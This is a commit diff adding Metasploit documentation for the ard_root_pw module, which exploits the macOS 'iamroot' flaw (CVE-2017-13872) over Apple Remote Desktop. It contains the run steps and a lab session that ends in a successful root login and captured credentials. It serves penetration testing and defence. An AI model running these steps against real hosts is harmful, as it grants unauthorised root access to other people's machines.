add ard_root_pw documentation

Author: busterb

documentation/modules/auxiliary/scanner/vnc/ard_root_pw.md

@@ -0,0 +1,38 @@
+## Description
+
+This module remotely exploits the remote CVE-2017-13872 (iamroot) vulnerability over Apple Remote Desktop protocol (ARD). It assumes that "System Preferences > Sharing > Screen Sharing" is enabled.
+
+## Verification Steps
+
+1. Do: `use auxiliary/scanner/vnc/ard_root_pw`
+2. Do: `set RHOSTS [IP]`
+4. Do: `run`
+
+## Scenarios
+
+**Running the scanner**
+
+```
+msf > use auxiliary/scanner/vnc/ard_root_pw
+msf auxiliary(scanner/vnc/ard_root_pw) > set RHOSTS 172.16.143.129
+RHOSTS => 172.16.143.129
+msf auxiliary(scanner/vnc/ard_root_pw) > run
+
+[*] 172.16.143.129:5900   - Attempting authentication as root.
+[*] 172.16.143.129:5900   - Testing login as root with chosen password.
+[+] 172.16.143.129:5900   - Login succeeded - root:xaavMPozB2HmDhGX
+[*] Scanned 1 of 1 hosts (100% complete)
+[*] Auxiliary module execution completed
+```
+
+**Credentials**
+
+```
+msf auxiliary(scanner/vnc/ard_root_pw) > creds
+Credentials
+===========
+
+host            origin          service         public  private           realm  private_type
+----            ------          -------         ------  -------           -----  ------------
+172.16.143.129  172.16.143.129  5900/tcp (vnc)  root    xaavMPozB2HmDhGX         Password
+```